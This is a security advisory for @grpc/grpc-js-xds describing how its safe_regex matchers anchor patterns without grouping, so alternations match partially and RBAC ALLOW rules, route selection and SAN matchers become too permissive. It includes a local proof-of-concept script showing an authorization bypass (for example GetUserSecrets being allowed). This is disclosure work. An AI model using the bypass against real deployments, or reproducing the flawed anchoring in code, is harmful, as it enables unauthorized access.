GHSA-r7hq-q2xm-6c5mMediumCVSS 4.8

@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation

Published
November 12, 2026
Last Modified
November 12, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The StringMatcher/PathMatcher for safe_regex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with safe_regex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.

Details

src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do

this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');

and apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232

src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every safe_regex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC url_path permissions/principals, authenticated.principal_name (mTLS SAN/CN), requested_server_name and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47

Proof of concept

In a scratch directory:

npm init -y
npm i @grpc/[email protected] @grpc/grpc-js
node poc.cjs

poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:

const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')

console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)

const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
  destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
  permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
  principals: [{ identifier: 'any', any: true }] } } })

console.log('GetUser       ', g.apply(info('/acme.Users/GetUser')))       // true  (intended)
console.log('DeleteUser    ', g.apply(info('/acme.Users/DeleteUser')))    // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS

Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):

matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
    apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
    /acme.Users/GetUser         -> ALLOWED (intended)
    /acme.Users/DeleteUser      -> denied  (control)
    /acme.Users/GetUserSecrets  -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
    spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass

Impact

Users of @grpc/grpc-js-xds who are using safe_regex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.

🎯 Affected products2

  • npm/@grpc/grpc-js-xds:>= 1.14.0, < 1.14.2
  • npm/@grpc/grpc-js-xds:< 1.13.2

🔗 References (6)